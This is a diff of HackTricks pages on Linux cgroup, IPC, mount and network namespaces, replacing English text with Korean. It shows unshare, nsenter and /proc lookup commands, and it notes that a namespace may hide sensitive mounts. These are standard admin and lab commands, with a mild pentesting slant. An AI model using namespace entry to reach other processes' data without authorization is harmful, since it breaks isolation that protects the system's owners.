새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### 모든 CGroup 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### CGroup 네임스페이스 내부로 들어가기
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
또한, **루트 사용자**인 경우에만 **다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/cgroup`).
## References

View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
IPC (Inter-Process Communication) 네임스페이스는 메시지 큐, 공유 메모리 세그먼트 및 세마포어와 같은 System V IPC 객체의 **격리**를 제공하는 Linux 커널 기능입니다. 이 격리는 **다른 IPC 네임스페이스에 있는 프로세스가 서로의 IPC 객체에 직접 접근하거나 수정할 수 없도록** 보장하여 프로세스 그룹 간에 추가적인 보안 및 프라이버시 계층을 제공합니다.
### How it works:
### 작동 방식:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. 새로운 IPC 네임스페이스가 생성되면 **완전히 격리된 System V IPC 객체 세트**로 시작합니다. 이는 새로운 IPC 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 IPC 객체에 접근하거나 간섭할 수 없음을 의미합니다.
2. 네임스페이스 내에서 생성된 IPC 객체는 **해당 네임스페이스 내의 프로세스만 볼 수 있고 접근할 수 있습니다**. 각 IPC 객체는 해당 네임스페이스 내에서 고유한 키로 식별됩니다. 키는 다른 네임스페이스에서 동일할 수 있지만, 객체 자체는 격리되어 있으며 네임스페이스 간에 접근할 수 없습니다.
3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWIPC` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 IPC 객체를 사용하기 시작합니다.
## Lab:
## 실습:
### Create different Namespaces
### 다양한 네임스페이스 생성
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 있는 네임스페이스 확인하기
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### 모든 IPC 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### IPC 네임스페이스 내부로 들어가기
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
또한, **루트일 경우에만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### IPC 객체 생성
```bash
# Container
sudo unshare -i /bin/bash
@ -93,7 +82,6 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -4,68 +4,61 @@
## Basic Information
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
마운트 네임스페이스는 프로세스 그룹이 보는 파일 시스템 마운트 지점의 격리를 제공하는 리눅스 커널 기능입니다. 각 마운트 네임스페이스는 고유한 파일 시스템 마운트 지점 집합을 가지며, **하나의 네임스페이스에서 마운트 지점에 대한 변경 사항은 다른 네임스페이스에 영향을 미치지 않습니다**. 이는 서로 다른 마운트 네임스페이스에서 실행되는 프로세스가 파일 시스템 계층 구조에 대한 서로 다른 뷰를 가질 수 있음을 의미합니다.
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
마운트 네임스페이스는 각 컨테이너가 다른 컨테이너 및 호스트 시스템과 격리된 고유한 파일 시스템 및 구성을 가져야 하는 컨테이너화에서 특히 유용합니다.
### How it works:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. 새로운 마운트 네임스페이스가 생성되면, **부모 네임스페이스의 마운트 지점 복사본으로 초기화**됩니다. 이는 생성 시 새로운 네임스페이스가 부모와 동일한 파일 시스템 뷰를 공유함을 의미합니다. 그러나 네임스페이스 내의 마운트 지점에 대한 이후의 변경 사항은 부모 또는 다른 네임스페이스에 영향을 미치지 않습니다.
2. 프로세스가 네임스페이스 내에서 마운트 지점을 수정할 때, 예를 들어 파일 시스템을 마운트하거나 언마운트할 때, **변경 사항은 해당 네임스페이스에 국한**되며 다른 네임스페이스에 영향을 미치지 않습니다. 이는 각 네임스페이스가 고유한 독립적인 파일 시스템 계층 구조를 가질 수 있게 합니다.
3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWNS` 플래그로 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 마운트 지점을 사용하기 시작합니다.
4. **파일 설명자와 아이노드는 네임스페이스 간에 공유**되며, 이는 하나의 네임스페이스에 있는 프로세스가 파일을 가리키는 열린 파일 설명자를 가지고 있다면, 해당 파일 설명자를 다른 네임스페이스의 프로세스에 **전달할 수 있으며**, **두 프로세스 모두 동일한 파일에 접근**할 수 있음을 의미합니다. 그러나 파일의 경로는 마운트 지점의 차이로 인해 두 네임스페이스에서 동일하지 않을 수 있습니다.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰**를 갖도록 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하는 데 실패하여 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### 모든 마운트 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### Mount 네임스페이스 내부로 들어가기
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
또한, **루트 사용자**만 **다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/mnt`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
새로운 마운트는 네임스페이스 내에서만 접근할 수 있기 때문에, 네임스페이스가 그 안에서만 접근할 수 있는 민감한 정보를 포함할 가능성이 있습니다.
### 무언가 마운트하기
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,7 +116,6 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -1,84 +1,74 @@
# Network Namespace
# 네트워크 네임스페이스
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
네트워크 네임스페이스는 네트워크 스택의 격리를 제공하는 리눅스 커널 기능으로, **각 네트워크 네임스페이스가 독립적인 네트워크 구성**을 가질 수 있도록 하며, 인터페이스, IP 주소, 라우팅 테이블 및 방화벽 규칙을 포함합니다. 이 격리는 컨테이너화와 같은 다양한 시나리오에서 유용하며, 각 컨테이너는 다른 컨테이너 및 호스트 시스템과 독립적인 네트워크 구성을 가져야 합니다.
### How it works:
### 작동 방식:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. 새로운 네트워크 네임스페이스가 생성되면, **완전히 격리된 네트워크 스택**으로 시작하며, 루프백 인터페이스(lo) 외에는 **네트워크 인터페이스가 없습니다**. 이는 새로운 네트워크 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 프로세스와 통신할 수 없음을 의미합니다.
2. veth 쌍과 같은 **가상 네트워크 인터페이스**를 생성하고 네트워크 네임스페이스 간에 이동할 수 있습니다. 이를 통해 네임스페이스 간 또는 네임스페이스와 호스트 시스템 간의 네트워크 연결을 설정할 수 있습니다. 예를 들어, veth 쌍의 한 쪽 끝을 컨테이너의 네트워크 네임스페이스에 배치하고, 다른 쪽 끝을 호스트 네임스페이스의 **브리지** 또는 다른 네트워크 인터페이스에 연결하여 컨테이너에 네트워크 연결을 제공합니다.
3. 네임스페이스 내의 네트워크 인터페이스는 **자신의 IP 주소, 라우팅 테이블 및 방화벽 규칙**을 가질 수 있으며, 다른 네임스페이스와 독립적입니다. 이를 통해 서로 다른 네트워크 네임스페이스의 프로세스가 서로 다른 네트워크 구성을 가질 수 있으며, 마치 별도의 네트워크 시스템에서 실행되는 것처럼 작동할 수 있습니다.
4. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWNET` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 네트워크 구성 및 인터페이스를 사용하기 시작합니다.
## Lab:
## 실습:
### Create different Namespaces
### 다양한 네임스페이스 생성
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스의 생성을 시작하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### 모든 네트워크 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
